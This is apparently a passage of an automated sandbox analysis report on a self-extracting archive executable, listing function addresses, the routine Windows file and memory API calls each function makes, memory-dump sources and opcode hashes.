                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3188754299-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
                                                                                                                                                                                                                                                                                    • Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59
                                                                                                                                                                                                                                                                                    Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5
                                                                                                                                                                                                                                                                                    • CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseCreateFileHandle
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3498533004-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
                                                                                                                                                                                                                                                                                    • Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95
                                                                                                                                                                                                                                                                                    Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileWrite
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3934441357-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
                                                                                                                                                                                                                                                                                    • Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55
                                                                                                                                                                                                                                                                                    Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
                                                                                                                                                                                                                                                                                    • Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68
                                                                                                                                                                                                                                                                                    Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _beginthreadex
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3014514943-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
                                                                                                                                                                                                                                                                                    • Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61
                                                                                                                                                                                                                                                                                    Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2738559852-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
                                                                                                                                                                                                                                                                                    • Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55
                                                                                                                                                                                                                                                                                    Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
                                                                                                                                                                                                                                                                                    • Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE
                                                                                                                                                                                                                                                                                    Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SysAllocString.OLEAUT32(?), ref: 0040119C
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AllocString
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2525500382-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
                                                                                                                                                                                                                                                                                    • Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01
                                                                                                                                                                                                                                                                                    Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
                                                                                                                                                                                                                                                                                    • Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618
                                                                                                                                                                                                                                                                                    Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileTime
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1425588814-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
                                                                                                                                                                                                                                                                                    • Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12
                                                                                                                                                                                                                                                                                    Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1033339047-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
                                                                                                                                                                                                                                                                                    • Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69
                                                                                                                                                                                                                                                                                    Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1033339047-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
                                                                                                                                                                                                                                                                                    • Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E
                                                                                                                                                                                                                                                                                    Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1033339047-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
                                                                                                                                                                                                                                                                                    • Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E
                                                                                                                                                                                                                                                                                    Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                                                                                                                                    • Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
                                                                                                                                                                                                                                                                                    • Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98
                                                                                                                                                                                                                                                                                    Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
